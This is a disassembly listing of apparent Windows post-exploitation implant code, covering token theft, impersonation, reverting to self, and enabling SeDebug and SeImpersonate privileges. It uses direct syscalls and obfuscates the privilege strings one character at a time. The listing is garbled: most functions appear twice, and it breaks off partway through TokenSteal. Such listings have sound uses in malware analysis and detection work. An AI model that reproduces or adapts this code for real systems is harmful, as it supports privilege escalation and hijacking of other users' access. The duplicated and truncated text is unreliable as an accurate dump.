14002190fmov rax, [rbx+2274]
140021916mov rcx, [rax+32]
14002191acall [rbx+940]
140021920mov rax, [rbx+2274]
140021927xor r10l, r10l
14002192amov [rax+32], r10
14002192e
14002192eloc_14002192e:
14002192emov rdi, [rbx+2274]
140021935mov ecx, 56
14002193axor eax, eax
14002193crep stosb [rdi], al
14002193emov rcx, [rbx+2274]
140021945call [rbx+940]
14002194bmov [rbx+2274], rsi
140021952
140021952loc_140021952:
140021952mov eax, 1
140021957jmp 0x140021a8b
14002195c
14002195cloc_14002195c:
14002195ctest rax, rax
14002195fje 0x140021a89
140021965
140021965loc_140021965:
140021965mov rdi, rax
140021968mov rax, [rax+48]
14002196ccmp rax, rsi
14002196fjne 0x14002195c
140021971lea r9, [rip+33783]
140021978mov r8l, 543
14002197elea rcx, [rip+32835]
140021985call printf
14002198amov rax, [rsi+48]
14002198ecmp [rbx+2290], 0
140021995mov [rdi+48], rax
140021999je 0x1400219b1
14002199bmov rax, [rbx+2282]
1400219a2mov rdx, [rsi]
1400219a5cmp [rax], rdx
1400219a8jne 0x1400219b1
1400219aaxor ecx, ecx
1400219accall TokenImpersonate
1400219b1
1400219b1loc_1400219b1:
1400219b1mov rcx, [rsi]
1400219b4test rcx, rcx
1400219b7je 0x1400219c4
1400219b9call SysNtClose
1400219bexor r9l, r9l
1400219c1mov [rsi], r9
1400219c4
1400219c4loc_1400219c4:
1400219c4mov rcx, [rsi+8]
1400219c8test rcx, rcx
1400219cbje 0x1400219ef
1400219cdcall StringLengthW
1400219d2mov rdi, [rsi+8]
1400219d6lea rcx, [rax+rax]
1400219daxor eax, eax
1400219dcrep stosb [rdi], al
1400219demov rcx, [rsi+8]
1400219e2call [rbx+940]
1400219e8xor r8l, r8l
1400219ebmov [rsi+8], r8
1400219ef
1400219efloc_1400219ef:
1400219efmov rcx, [rsi+24]
1400219f3test rcx, rcx
1400219f6je 0x140021a19
1400219f8call StringLengthW
1400219fdmov rdi, [rsi+24]
140021a01lea rcx, [rax+rax]
140021a05xor eax, eax
140021a07rep stosb [rdi], al
140021a09mov rcx, [rsi+24]
140021a0dcall [rbx+940]
140021a13xor ecx, ecx
140021a15mov [rsi+24], rcx
140021a19
140021a19loc_140021a19:
140021a19cmp [rsi+40], 0
140021a1eje 0x140021a45
140021a20mov rcx, [rsi+24]
140021a24call StringLengthW
140021a29mov rdi, [rsi+40]
140021a2dlea rcx, [rax+rax]
140021a31xor eax, eax
140021a33rep stosb [rdi], al
140021a35mov rcx, [rsi+40]
140021a39call [rbx+940]
140021a3fxor edx, edx
140021a41mov [rsi+40], rdx
140021a45
140021a45loc_140021a45:
140021a45mov rcx, [rsi+32]
140021a49test rcx, rcx
140021a4cje 0x140021a6f
140021a4ecall StringLengthW
140021a53mov rdi, [rsi+32]
140021a57lea rcx, [rax+rax]
140021a5bxor eax, eax
140021a5drep stosb [rdi], al
140021a5fmov rcx, [rsi+32]
140021a63call [rbx+940]
140021a69xor eax, eax
140021a6bmov [rsi+32], rax
140021a6f
140021a6floc_140021a6f:
140021a6fmov rdi, rsi
140021a72mov ecx, 56
140021a77xor eax, eax
140021a79rep stosb [rdi], al
140021a7bmov rcx, rsi
140021a7ecall [rbx+940]
140021a84jmp 0x140021952
140021a89
140021a89loc_140021a89:
140021a89xor eax, eax
140021a8b
140021a8bloc_140021a8b:
140021a8badd rsp, 32
140021a8fpop rbx
140021a90pop rsi
140021a91pop rdi
140021a92ret
140021750
140021750TokenRemove:
140021750push rdi
140021751mov r9l, ecx
140021754lea rdx, [rip+48165]
14002175bmov r8l, 476
140021761push rsi
140021762push rbx
140021763mov ebx, ecx
140021765lea rcx, [rip+34256]
14002176csub rsp, 32
140021770call printf
140021775mov ecx, ebx
140021777call TokenGet
14002177cmov rbx, [rip+44013]
140021783mov rsi, rax
140021786mov rax, [rbx+2274]
14002178dtest rax, rax
140021790je 0x140021a89
140021796test rsi, rsi
140021799je 0x140021a89
14002179fcmp rsi, rax
1400217a2lea rdx, [rip+48087]
1400217a9jne 0x140021965
1400217aflea r9, [rip+34218]
1400217b6mov r8l, 489
1400217bclea rcx, [rip+33285]
1400217c3call printf
1400217c8mov rax, [rbx+2274]
1400217cfcmp [rbx+2290], 0
1400217d6mov rsi, [rax+48]
1400217daje 0x1400217f2
1400217dcmov rdx, [rbx+2282]
1400217e3mov rax, [rax]
1400217e6cmp [rdx], rax
1400217e9jne 0x1400217f2
1400217ebxor ecx, ecx
1400217edcall TokenImpersonate
1400217f2
1400217f2loc_1400217f2:
1400217f2mov rax, [rbx+2274]
1400217f9mov rcx, [rax]
1400217fctest rcx, rcx
1400217ffje 0x140021812
140021801call SysNtClose
140021806mov rax, [rbx+2274]
14002180dxor ecx, ecx
14002180fmov [rax], rcx
140021812
140021812loc_140021812:
140021812mov rax, [rbx+2274]
140021819mov rcx, [rax+8]
14002181dtest rcx, rcx
140021820je 0x140021858
140021822call StringLengthW
140021827mov rdx, [rbx+2274]
14002182elea rcx, [rax+rax]
140021832xor eax, eax
140021834mov rdi, [rdx+8]
140021838rep stosb [rdi], al
14002183amov rax, [rbx+2274]
140021841mov rcx, [rax+8]
140021845call [rbx+940]
14002184bmov rax, [rbx+2274]
140021852xor edx, edx
140021854mov [rax+8], rdx
140021858
140021858loc_140021858:
140021858mov rax, [rbx+2274]
14002185fmov rcx, [rax+24]
140021863test rcx, rcx
140021866je 0x14002189e
140021868call StringLengthW
14002186dmov rdx, [rbx+2274]
140021874lea rcx, [rax+rax]
140021878xor eax, eax
14002187amov rdi, [rdx+24]
14002187erep stosb [rdi], al
140021880mov rax, [rbx+2274]
140021887xor edi, edi
140021889mov rcx, [rax+24]
14002188dcall [rbx+940]
140021893mov rax, [rbx+2274]
14002189amov [rax+24], rdi
14002189e
14002189eloc_14002189e:
14002189emov rax, [rbx+2274]
1400218a5cmp [rax+40], 0
1400218aaje 0x1400218e7
1400218acmov rcx, [rax+24]
1400218b0call StringLengthW
1400218b5mov rdx, [rbx+2274]
1400218bclea rcx, [rax+rax]
1400218c0xor eax, eax
1400218c2mov rdi, [rdx+40]
1400218c6rep stosb [rdi], al
1400218c8mov rax, [rbx+2274]
1400218cfmov rcx, [rax+40]
1400218d3call [rbx+940]
1400218d9mov rax, [rbx+2274]
1400218e0xor r11l, r11l
1400218e3mov [rax+40], r11
1400218e7
1400218e7loc_1400218e7:
1400218e7mov rax, [rbx+2274]
1400218eemov rcx, [rax+32]
1400218f2test rcx, rcx
1400218f5je 0x14002192e
1400218f7call StringLengthW
1400218fcmov rdx, [rbx+2274]
140021903lea rcx, [rax+rax]
140021907xor eax, eax
140021909mov rdi, [rdx+32]
14002190drep stosb [rdi], al
14002190fmov rax, [rbx+2274]
140021916mov rcx, [rax+32]
14002191acall [rbx+940]
140021920mov rax, [rbx+2274]
140021927xor r10l, r10l
14002192amov [rax+32], r10
14002192e
14002192eloc_14002192e:
14002192emov rdi, [rbx+2274]
140021935mov ecx, 56
14002193axor eax, eax
14002193crep stosb [rdi], al
14002193emov rcx, [rbx+2274]
140021945call [rbx+940]
14002194bmov [rbx+2274], rsi
140021952
140021952loc_140021952:
140021952mov eax, 1
140021957jmp 0x140021a8b
14002195c
14002195cloc_14002195c:
14002195ctest rax, rax
14002195fje 0x140021a89
140021965
140021965loc_140021965:
140021965mov rdi, rax
140021968mov rax, [rax+48]
14002196ccmp rax, rsi
14002196fjne 0x14002195c
140021971lea r9, [rip+33783]
140021978mov r8l, 543
14002197elea rcx, [rip+32835]
140021985call printf
14002198amov rax, [rsi+48]
14002198ecmp [rbx+2290], 0
140021995mov [rdi+48], rax
140021999je 0x1400219b1
14002199bmov rax, [rbx+2282]
1400219a2mov rdx, [rsi]
1400219a5cmp [rax], rdx
1400219a8jne 0x1400219b1
1400219aaxor ecx, ecx
1400219accall TokenImpersonate
1400219b1
1400219b1loc_1400219b1:
1400219b1mov rcx, [rsi]
1400219b4test rcx, rcx
1400219b7je 0x1400219c4
1400219b9call SysNtClose
1400219bexor r9l, r9l
1400219c1mov [rsi], r9
1400219c4
1400219c4loc_1400219c4:
1400219c4mov rcx, [rsi+8]
1400219c8test rcx, rcx
1400219cbje 0x1400219ef
1400219cdcall StringLengthW
1400219d2mov rdi, [rsi+8]
1400219d6lea rcx, [rax+rax]
1400219daxor eax, eax
1400219dcrep stosb [rdi], al
1400219demov rcx, [rsi+8]
1400219e2call [rbx+940]
1400219e8xor r8l, r8l
1400219ebmov [rsi+8], r8
1400219ef
1400219efloc_1400219ef:
1400219efmov rcx, [rsi+24]
1400219f3test rcx, rcx
1400219f6je 0x140021a19
1400219f8call StringLengthW
1400219fdmov rdi, [rsi+24]
140021a01lea rcx, [rax+rax]
140021a05xor eax, eax
140021a07rep stosb [rdi], al
140021a09mov rcx, [rsi+24]
140021a0dcall [rbx+940]
140021a13xor ecx, ecx
140021a15mov [rsi+24], rcx
140021a19
140021a19loc_140021a19:
140021a19cmp [rsi+40], 0
140021a1eje 0x140021a45
140021a20mov rcx, [rsi+24]
140021a24call StringLengthW
140021a29mov rdi, [rsi+40]
140021a2dlea rcx, [rax+rax]
140021a31xor eax, eax
140021a33rep stosb [rdi], al
140021a35mov rcx, [rsi+40]
140021a39call [rbx+940]
140021a3fxor edx, edx
140021a41mov [rsi+40], rdx
140021a45
140021a45loc_140021a45:
140021a45mov rcx, [rsi+32]
140021a49test rcx, rcx
140021a4cje 0x140021a6f
140021a4ecall StringLengthW
140021a53mov rdi, [rsi+32]
140021a57lea rcx, [rax+rax]
140021a5bxor eax, eax
140021a5drep stosb [rdi], al
140021a5fmov rcx, [rsi+32]
140021a63call [rbx+940]
140021a69xor eax, eax
140021a6bmov [rsi+32], rax
140021a6f
140021a6floc_140021a6f:
140021a6fmov rdi, rsi
140021a72mov ecx, 56
140021a77xor eax, eax
140021a79rep stosb [rdi], al
140021a7bmov rcx, rsi
140021a7ecall [rbx+940]
140021a84jmp 0x140021952
140021a89
140021a89loc_140021a89:
140021a89xor eax, eax
140021a8b
140021a8bloc_140021a8b:
140021a8badd rsp, 32
140021a8fpop rbx
140021a90pop rsi
140021a91pop rdi
140021a92ret
140021750
140021a93
140021a93 // align 0x10
140021a93 // align 0x10
140021aa0
140021aa0TokenRevSelf:
140021aa0push rbx
140021aa1xor eax, eax
140021aa3mov rcx, -2
140021aaamov r9l, 8
140021ab0mov edx, 5
140021ab5sub rsp, 48
140021ab9lea r8, [rsp+40]
140021abemov [rsp+40], rax
140021ac3call SysNtSetInformationThread
140021ac8mov ecx, eax
140021acamov eax, 1
140021acftest ecx, ecx
140021ad1jns 0x140021aec
140021ad3mov rax, [rip+43158]
140021adamov rbx, [rax+2230]
140021ae1call [rax+348]
140021ae7mov [rbx+104], eax
140021aeaxor eax, eax
140021aec
140021aecloc_140021aec:
140021aecadd rsp, 48
140021af0pop rbx
140021af1ret
140021aa0
140021aa0TokenRevSelf:
140021aa0push rbx
140021aa1xor eax, eax
140021aa3mov rcx, -2
140021aaamov r9l, 8
140021ab0mov edx, 5
140021ab5sub rsp, 48
140021ab9lea r8, [rsp+40]
140021abemov [rsp+40], rax
140021ac3call SysNtSetInformationThread
140021ac8mov ecx, eax
140021acamov eax, 1
140021acftest ecx, ecx
140021ad1jns 0x140021aec
140021ad3mov rax, [rip+43158]
140021adamov rbx, [rax+2230]
140021ae1call [rax+348]
140021ae7mov [rbx+104], eax
140021aeaxor eax, eax
140021aec
140021aecloc_140021aec:
140021aecadd rsp, 48
140021af0pop rbx
140021af1ret
140021aa0
140021af2
140021af2 // align 0x10
140021af2 // align 0x10
140021b00
140021b00TokenSetPrivilege:
140021b00push rbp
140021b01xorps x0, x0
140021b04mov rbp, rsp
140021b07push rsi
140021b08mov esi, edx
140021b0axor edx, edx
140021b0cpush rbx
140021b0dand rsp, -16
140021b11sub rsp, 80
140021b15mov rbx, [rip+43092]
140021b1cmov [rsp+56], rdx
140021b21lea r8, [rsp+56]
140021b26mov [rsp+48], rdx
140021b2bmov rdx, rcx
140021b2exor ecx, ecx
140021b30movups [rsp+64], x0
140021b35call [rbx+1596]
140021b3btest eax, eax
140021b3djne 0x140021b63
140021b3fmov rax, [rbx+2230]
140021b46mov r8l, 213
140021b4clea rdx, [rip+44669]
140021b53lea rcx, [rip+32442]
140021b5amov r9l, [rax+104]
140021b5ejmp 0x140021be6
140021b63
140021b63loc_140021b63:
140021b63mov rax, [rsp+56]
140021b68lea r8, [rsp+48]
140021b6dmov edx, 0xf01ff
140021b72mov [rsp+64], 1
140021b7amov [rsp+68], rax
140021b7fxor eax, eax
140021b81test esi, esi
140021b83setne al
140021b86or rcx, -1
140021b8aadd eax, eax
140021b8cmov [rsp+76], eax
140021b90call SysNtOpenProcessToken
140021b95mov esi, eax
140021b97test eax, eax
140021b99js 0x140021bef
140021b9bxor eax, eax
140021b9dxor edx, edx
140021b9fmov rcx, [rsp+48]
140021ba4xor r9l, r9l
140021ba7mov [rsp+40], rax
140021baclea r8, [rsp+64]
140021bb1mov [rsp+32], rax
140021bb6call [rbx+1572]
140021bbcmov edx, eax
140021bbemov eax, 1
140021bc3test edx, edx
140021bc5jne 0x140021c29
140021bc7mov rax, [rbx+2230]
140021bcemov r8l, 228
140021bd4lea rdx, [rip+44533]
140021bdblea rcx, [rip+32358]
140021be2mov r9l, [rax+104]
140021be6
140021be6loc_140021be6:
140021be6call printf
140021beb
140021bebloc_140021beb:
140021bebxor eax, eax
140021bedjmp 0x140021c29
140021bef
140021befloc_140021bef:
140021befmov ecx, eax
140021bf1call [rbx+348]
140021bf7mov r8l, 232
140021bfdlea rdx, [rip+44492]
140021c04lea rcx, [rip+32370]
140021c0bmov r9l, eax
140021c0ecall printf
140021c13mov ecx, esi
140021c15call [rbx+348]
140021c1bmov ecx, 1
140021c20mov edx, eax
140021c22call PackageTransmitError
140021c27jmp 0x140021beb
140021c29
140021c29loc_140021c29:
140021c29lea rsp, [rbp-16]
140021c2dpop rbx
140021c2epop rsi
140021c2fpop rbp
140021c30ret
140021b00
140021b00TokenSetPrivilege:
140021b00push rbp
140021b01xorps x0, x0
140021b04mov rbp, rsp
140021b07push rsi
140021b08mov esi, edx
140021b0axor edx, edx
140021b0cpush rbx
140021b0dand rsp, -16
140021b11sub rsp, 80
140021b15mov rbx, [rip+43092]
140021b1cmov [rsp+56], rdx
140021b21lea r8, [rsp+56]
140021b26mov [rsp+48], rdx
140021b2bmov rdx, rcx
140021b2exor ecx, ecx
140021b30movups [rsp+64], x0
140021b35call [rbx+1596]
140021b3btest eax, eax
140021b3djne 0x140021b63
140021b3fmov rax, [rbx+2230]
140021b46mov r8l, 213
140021b4clea rdx, [rip+44669]
140021b53lea rcx, [rip+32442]
140021b5amov r9l, [rax+104]
140021b5ejmp 0x140021be6
140021b63
140021b63loc_140021b63:
140021b63mov rax, [rsp+56]
140021b68lea r8, [rsp+48]
140021b6dmov edx, 0xf01ff
140021b72mov [rsp+64], 1
140021b7amov [rsp+68], rax
140021b7fxor eax, eax
140021b81test esi, esi
140021b83setne al
140021b86or rcx, -1
140021b8aadd eax, eax
140021b8cmov [rsp+76], eax
140021b90call SysNtOpenProcessToken
140021b95mov esi, eax
140021b97test eax, eax
140021b99js 0x140021bef
140021b9bxor eax, eax
140021b9dxor edx, edx
140021b9fmov rcx, [rsp+48]
140021ba4xor r9l, r9l
140021ba7mov [rsp+40], rax
140021baclea r8, [rsp+64]
140021bb1mov [rsp+32], rax
140021bb6call [rbx+1572]
140021bbcmov edx, eax
140021bbemov eax, 1
140021bc3test edx, edx
140021bc5jne 0x140021c29
140021bc7mov rax, [rbx+2230]
140021bcemov r8l, 228
140021bd4lea rdx, [rip+44533]
140021bdblea rcx, [rip+32358]
140021be2mov r9l, [rax+104]
140021be6
140021be6loc_140021be6:
140021be6call printf
140021beb
140021bebloc_140021beb:
140021bebxor eax, eax
140021bedjmp 0x140021c29
140021bef
140021befloc_140021bef:
140021befmov ecx, eax
140021bf1call [rbx+348]
140021bf7mov r8l, 232
140021bfdlea rdx, [rip+44492]
140021c04lea rcx, [rip+32370]
140021c0bmov r9l, eax
140021c0ecall printf
140021c13mov ecx, esi
140021c15call [rbx+348]
140021c1bmov ecx, 1
140021c20mov edx, eax
140021c22call PackageTransmitError
140021c27jmp 0x140021beb
140021c29
140021c29loc_140021c29:
140021c29lea rsp, [rbp-16]
140021c2dpop rbx
140021c2epop rsi
140021c2fpop rbp
140021c30ret
140021b00
140021c31
140021c31 // align 0x10
140021c31 // align 0x10
140021c40
140021c40TokenSetSeDebugPriv:
140021c40push rdi
140021c41xor eax, eax
140021c43push rbx
140021c44mov ebx, ecx
140021c46mov ecx, 68
140021c4bsub rsp, 72
140021c4fmov [rsp+47], rax
140021c54lea rdi, [rsp+47]
140021c59mov [rsp+55], rax
140021c5emov [rsp+63], 0
140021c63call HideChar
140021c68mov ecx, 105
140021c6dmov [rsp+49], al
140021c71call HideChar
140021c76xor ecx, ecx
140021c78mov [rsp+56], al
140021c7ccall HideChar
140021c81mov ecx, 83
140021c86mov [rsp+63], al
140021c8acall HideChar
140021c8fmov ecx, 101
140021c94mov [rsp+47], al
140021c98call HideChar
140021c9dmov ecx, 103
140021ca2mov [rsp+50], al
140021ca6call HideChar
140021cabmov ecx, 80
140021cb0mov [rsp+53], al
140021cb4call HideChar
140021cb9mov ecx, 105
140021cbemov [rsp+54], al
140021cc2call HideChar
140021cc7mov ecx, 98
140021cccmov [rsp+58], al
140021cd0call HideChar
140021cd5mov ecx, 117
140021cdamov [rsp+51], al
140021cdecall HideChar
140021ce3mov ecx, 118
140021ce8mov [rsp+52], al
140021ceccall HideChar
140021cf1mov ecx, 101
140021cf6mov [rsp+57], al
140021cfacall HideChar
140021cffmov ecx, 101
140021d04mov [rsp+62], al
140021d08call HideChar
140021d0dmov ecx, 101
140021d12mov [rsp+48], al
140021d16call HideChar
140021d1bmov ecx, 103
140021d20mov [rsp+60], al
140021d24call HideChar
140021d29mov ecx, 108
140021d2emov [rsp+61], al
140021d32call HideChar
140021d37mov ecx, 114
140021d3cmov [rsp+59], al
140021d40call HideChar
140021d45mov edx, ebx
140021d47mov rcx, rdi
140021d4amov [rsp+55], al
140021d4ecall TokenSetPrivilege
140021d53mov ecx, 17
140021d58mov edx, eax
140021d5axor eax, eax
140021d5crep stosb [rdi], al
140021d5eadd rsp, 72
140021d62mov eax, edx
140021d64pop rbx
140021d65pop rdi
140021d66ret
140021c40
140021c40TokenSetSeDebugPriv:
140021c40push rdi
140021c41xor eax, eax
140021c43push rbx
140021c44mov ebx, ecx
140021c46mov ecx, 68
140021c4bsub rsp, 72
140021c4fmov [rsp+47], rax
140021c54lea rdi, [rsp+47]
140021c59mov [rsp+55], rax
140021c5emov [rsp+63], 0
140021c63call HideChar
140021c68mov ecx, 105
140021c6dmov [rsp+49], al
140021c71call HideChar
140021c76xor ecx, ecx
140021c78mov [rsp+56], al
140021c7ccall HideChar
140021c81mov ecx, 83
140021c86mov [rsp+63], al
140021c8acall HideChar
140021c8fmov ecx, 101
140021c94mov [rsp+47], al
140021c98call HideChar
140021c9dmov ecx, 103
140021ca2mov [rsp+50], al
140021ca6call HideChar
140021cabmov ecx, 80
140021cb0mov [rsp+53], al
140021cb4call HideChar
140021cb9mov ecx, 105
140021cbemov [rsp+54], al
140021cc2call HideChar
140021cc7mov ecx, 98
140021cccmov [rsp+58], al
140021cd0call HideChar
140021cd5mov ecx, 117
140021cdamov [rsp+51], al
140021cdecall HideChar
140021ce3mov ecx, 118
140021ce8mov [rsp+52], al
140021ceccall HideChar
140021cf1mov ecx, 101
140021cf6mov [rsp+57], al
140021cfacall HideChar
140021cffmov ecx, 101
140021d04mov [rsp+62], al
140021d08call HideChar
140021d0dmov ecx, 101
140021d12mov [rsp+48], al
140021d16call HideChar
140021d1bmov ecx, 103
140021d20mov [rsp+60], al
140021d24call HideChar
140021d29mov ecx, 108
140021d2emov [rsp+61], al
140021d32call HideChar
140021d37mov ecx, 114
140021d3cmov [rsp+59], al
140021d40call HideChar
140021d45mov edx, ebx
140021d47mov rcx, rdi
140021d4amov [rsp+55], al
140021d4ecall TokenSetPrivilege
140021d53mov ecx, 17
140021d58mov edx, eax
140021d5axor eax, eax
140021d5crep stosb [rdi], al
140021d5eadd rsp, 72
140021d62mov eax, edx
140021d64pop rbx
140021d65pop rdi
140021d66ret
140021c40
140021d67
140021d67 // align 0x10
140021d67 // align 0x10
140021d70
140021d70TokenSetSeImpersonatePriv:
140021d70push rdi
140021d71xor eax, eax
140021d73push rbx
140021d74mov ebx, ecx
140021d76mov ecx, 115
140021d7bsub rsp, 72
140021d7fmov [rsp+49], rax
140021d84lea rdi, [rsp+41]
140021d89mov [rsp+41], rax
140021d8emov [rsp+56], rax
140021d93call HideChar
140021d98mov ecx, 101
140021d9dmov [rsp+48], al
140021da1call HideChar
140021da6mov ecx, 112
140021dabmov [rsp+46], al
140021dafcall HideChar
140021db4mov ecx, 111
140021db9mov [rsp+45], al
140021dbdcall HideChar
140021dc2mov ecx, 109
140021dc7mov [rsp+49], al
140021dcbcall HideChar
140021dd0mov ecx, 83
140021dd5mov [rsp+44], al
140021dd9call HideChar
140021ddemov ecx, 116
140021de3mov [rsp+41], al
140021de7call HideChar
140021decmov ecx, 101
140021df1mov [rsp+52], al
140021df5call HideChar
140021dfamov ecx, 105
140021dffmov [rsp+53], al
140021e03call HideChar
140021e08mov ecx, 101
140021e0dmov [rsp+58], al
140021e11call HideChar
140021e16xor ecx, ecx
140021e18mov [rsp+60], al
140021e1ccall HideChar
140021e21mov ecx, 114
140021e26mov [rsp+63], al
140021e2acall HideChar
140021e2fmov ecx, 118
140021e34mov [rsp+47], al
140021e38call HideChar
140021e3dmov ecx, 101
140021e42mov [rsp+57], al
140021e46call HideChar
140021e4bmov ecx, 97
140021e50mov [rsp+62], al
140021e54call HideChar
140021e59mov ecx, 105
140021e5emov [rsp+51], al
140021e62call HideChar
140021e67mov ecx, 110
140021e6cmov [rsp+56], al
140021e70call HideChar
140021e75mov ecx, 101
140021e7amov [rsp+50], al
140021e7ecall HideChar
140021e83mov ecx, 80
140021e88mov [rsp+42], al
140021e8ccall HideChar
140021e91mov ecx, 114
140021e96mov [rsp+54], al
140021e9acall HideChar
140021e9fmov ecx, 73
140021ea4mov [rsp+55], al
140021ea8call HideChar
140021eadmov ecx, 108
140021eb2mov [rsp+43], al
140021eb6call HideChar
140021ebbmov ecx, 103
140021ec0mov [rsp+59], al
140021ec4call HideChar
140021ec9mov edx, ebx
140021ecbmov rcx, rdi
140021ecemov [rsp+61], al
140021ed2call TokenSetPrivilege
140021ed7mov ecx, 23
140021edcmov edx, eax
140021edexor eax, eax
140021ee0rep stosb [rdi], al
140021ee2add rsp, 72
140021ee6mov eax, edx
140021ee8pop rbx
140021ee9pop rdi
140021eearet
140021d70
140021d70TokenSetSeImpersonatePriv:
140021d70push rdi
140021d71xor eax, eax
140021d73push rbx
140021d74mov ebx, ecx
140021d76mov ecx, 115
140021d7bsub rsp, 72
140021d7fmov [rsp+49], rax
140021d84lea rdi, [rsp+41]
140021d89mov [rsp+41], rax
140021d8emov [rsp+56], rax
140021d93call HideChar
140021d98mov ecx, 101
140021d9dmov [rsp+48], al
140021da1call HideChar
140021da6mov ecx, 112
140021dabmov [rsp+46], al
140021dafcall HideChar
140021db4mov ecx, 111
140021db9mov [rsp+45], al
140021dbdcall HideChar
140021dc2mov ecx, 109
140021dc7mov [rsp+49], al
140021dcbcall HideChar
140021dd0mov ecx, 83
140021dd5mov [rsp+44], al
140021dd9call HideChar
140021ddemov ecx, 116
140021de3mov [rsp+41], al
140021de7call HideChar
140021decmov ecx, 101
140021df1mov [rsp+52], al
140021df5call HideChar
140021dfamov ecx, 105
140021dffmov [rsp+53], al
140021e03call HideChar
140021e08mov ecx, 101
140021e0dmov [rsp+58], al
140021e11call HideChar
140021e16xor ecx, ecx
140021e18mov [rsp+60], al
140021e1ccall HideChar
140021e21mov ecx, 114
140021e26mov [rsp+63], al
140021e2acall HideChar
140021e2fmov ecx, 118
140021e34mov [rsp+47], al
140021e38call HideChar
140021e3dmov ecx, 101
140021e42mov [rsp+57], al
140021e46call HideChar
140021e4bmov ecx, 97
140021e50mov [rsp+62], al
140021e54call HideChar
140021e59mov ecx, 105
140021e5emov [rsp+51], al
140021e62call HideChar
140021e67mov ecx, 110
140021e6cmov [rsp+56], al
140021e70call HideChar
140021e75mov ecx, 101
140021e7amov [rsp+50], al
140021e7ecall HideChar
140021e83mov ecx, 80
140021e88mov [rsp+42], al
140021e8ccall HideChar
140021e91mov ecx, 114
140021e96mov [rsp+54], al
140021e9acall HideChar
140021e9fmov ecx, 73
140021ea4mov [rsp+55], al
140021ea8call HideChar
140021eadmov ecx, 108
140021eb2mov [rsp+43], al
140021eb6call HideChar
140021ebbmov ecx, 103
140021ec0mov [rsp+59], al
140021ec4call HideChar
140021ec9mov edx, ebx
140021ecbmov rcx, rdi
140021ecemov [rsp+61], al
140021ed2call TokenSetPrivilege
140021ed7mov ecx, 23
140021edcmov edx, eax
140021edexor eax, eax
140021ee0rep stosb [rdi], al
140021ee2add rsp, 72
140021ee6mov eax, edx
140021ee8pop rbx
140021ee9pop rdi
140021eearet
140021d70
140021eeb
140021eeb // align 0x10
140021eeb // align 0x10
140021ef0
140021ef0TokenSteal:
140021ef0push r12
140021ef2push rbp
140021ef3mov rbp, rdx
140021ef6xor edx, edx
140021ef8push rdi
140021ef9lea rdi, [rip+46400]
140021f00push rsi
140021f01mov esi, ecx
140021f03push rbx
140021f04sub rsp, 80
140021f08mov [rsp+72], rdx
140021f0dmov edx, 1088
140021f12call ProcessOpen
140021f17test rax, rax
140021f1aje 0x140022024
140021f20test rbp, rbp
140021f23mov rbx, rax
140021f26lea r12, [rsp+72]
140021f2bje 0x140021f9b
140021f2dmov [rsp+32], esi
140021f31mov r9, rbp
140021f34mov r8l, 430
140021f3amov rdx, rdi
140021f3dlea rcx, [rip+31593]
140021f44call printf
140021f49xor eax, eax
140021f4bmov r9, r12
140021f4eor r8, -1
140021f52mov [rsp+48], 2
140021f5amov rdx, rbp
140021f5dmov rcx, rbx
140021f60mov [rsp+40], eax
140021f64mov [rsp+32], eax
140021f68call SysNtDuplicateObject
140021f6dmov esi, eax
140021f6ftest eax, eax
140021f71jns 0x140021fc9
140021f73mov rbp, [rip+41974]
140021f7amov ecx, eax
140021f7ccall [rbp+348]
140021f82mov r9l, esi
140021f85mov rdx, rdi
140021f88mov r8l, 440
140021f8emov [rsp+32], eax
140021f92lea rcx, [rip+31558]
140021f99jmp 0x140022001
140021f9b
140021f9bloc_140021f9b:
140021f9bmov r9l, esi
140021f9emov r8l, 446
140021fa4mov rdx, rdi
140021fa7lea rcx, [rip+31593]
140021faecall printf
140021fb3mov r8, r12
140021fb6mov edx, 10
140021fbbmov rcx, rbx
140021fbecall SysNtOpenProcessToken
140021fc3mov esi, eax
140021fc5test eax, eax
140021fc7js 0x140021fdb
140021fc9
140021fc9loc_140021fc9:
140021fc9mov rcx, rbx
140021fcccall SysNtClose
140021fd1mov rax, [rsp+72]
140021fd6jmp 0x140022061
140021fdb
140021fdbloc_140021fdb:
140021fdbmov rbp, [rip+41870]
140021fe2mov ecx, eax
140021fe4call [rbp+348]
140021feamov r9l, esi
140021fedmov rdx, rdi
140021ff0mov r8l, 456
140021ff6mov [rsp+32], eax
140021ffalea rcx, [rip+31563]
140022001
140022001loc_140022001:
140022001call printf
140022006mov ecx, esi
140022008call [rbp+348]
14002200emov ecx, 1
140022013mov edx, eax
140022015call PackageTransmitError
14002201amov rcx, rbx
14002201dcall SysNtClose
140022022jmp 0x14002205f
140022024
140022024loc_140022024:
140022024mov rbx, [rip+41797]
14002202bmov rdx, rdi
14002202elea rcx, [rip+31568]
140022035mov r8l, 463
14002203bmov rax, [rbx+2230]
140022042mov r9l, [rax+104]
140022046call printf
14002204bmov rax, [rbx+2230]
140022052mov ecx, 1
140022057mov edx, [rax+104]
14002205acall PackageTransmitError
14002205f
14002205floc_14002205f:
14002205fxor eax, eax
140022061
140022061loc_140022061:
140022061add rsp, 80
140022065pop rbx
140022066pop rsi
140022067pop rdi
140022068pop rbp
140022069pop r12
14002206bret
140021ef0
140021ef0TokenSteal:
140021ef0push r12
140021ef2push rbp
140021ef3mov rbp, rdx
140021ef6xor edx, edx
140021ef8push rdi
140021ef9lea rdi, [rip+46400]
140021f00push rsi
140021f01mov esi, ecx
140021f03push rbx
140021f04sub rsp, 80
140021f08mov [rsp+72], rdx
140021f0dmov edx, 1088
140021f12call ProcessOpen
140021f17test rax, rax
140021f1aje 0x140022024
140021f20test rbp, rbp
140021f23mov rbx, rax
140021f26lea r12, [rsp+72]
140021f2bje 0x140021f9b
140021f2dmov [rsp+32], esi
140021f31mov r9, rbp
140021f34mov r8l, 430
140021f3amov rdx, rdi
140021f3dlea rcx, [rip+31593]
140021f44call printf
140021f49xor eax, eax
140021f4bmov r9, r12
140021f4eor r8, -1
140021f52mov [rsp+48], 2
140021f5amov rdx, rbp
140021f5dmov rcx, rbx
140021f60mov [rsp+40], eax
140021f64mov [rsp+32], eax
140021f68call SysNtDuplicateObject
140021f6dmov esi, eax
140021f6ftest eax, eax
140021f71jns 0x140021fc9
140021f73mov rbp, [rip+41974]
140021f7amov ecx, eax
140021f7ccall [rbp+348]
140021f82mov r9l, esi
140021f85mov rdx, rdi
140021f88mov r8l, 440
140021f8emov [rsp+32], eax
140021f92lea rcx, [rip+31558]
140021f99jmp 0x140022001
140021f9b
140021f9bloc_140021f9b:
140021f9bmov r9l, esi
140021f9emov r8l, 446
140021fa4mov rdx, rdi
140021fa7lea rcx, [rip+31593]
140021faecall printf
140021fb3mov r8, r12
140021fb6mov edx, 10
140021fbbmov rcx, rbx
